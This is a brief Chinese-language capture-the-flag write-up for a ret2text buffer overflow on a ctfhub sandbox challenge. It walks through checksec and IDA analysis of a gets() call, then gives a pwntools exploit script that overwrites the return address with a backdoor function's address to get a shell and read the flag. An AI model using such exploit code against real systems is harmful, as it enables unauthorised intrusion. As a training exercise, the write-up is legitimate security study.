1.先checksec
可以看到无任何的栈保护
2.IDA查看
查看main函数
看到gets危险函数,再点开其中的v4
看到v4这个变量的缓冲区,我们要把数据溢出到覆盖返回地址,即0x70+8
再shift+f12 直接查看相关字符
发现后门函数
选中该行,看到下方的地址(4007B8)
编写exp.py
先vim a.py
添加如下代码
from pwn import *
p=remote("challenge-eaf789c6962da157.sandbox.ctfhub.com",32331) #ip加端口号
payload=b'a'*0x70+b'abcdefgh'+p64(0x4007B8) #b表示该字符串为byte单位;后面的“abcdefgh”为垃圾数据,随便编写,只要满足八字节;p64表示以64位打包
p.sendline(payload)
p.interactive()
输入:wq 保存退出
运行shell
python3 a.py
ls
cat flag
即可得flag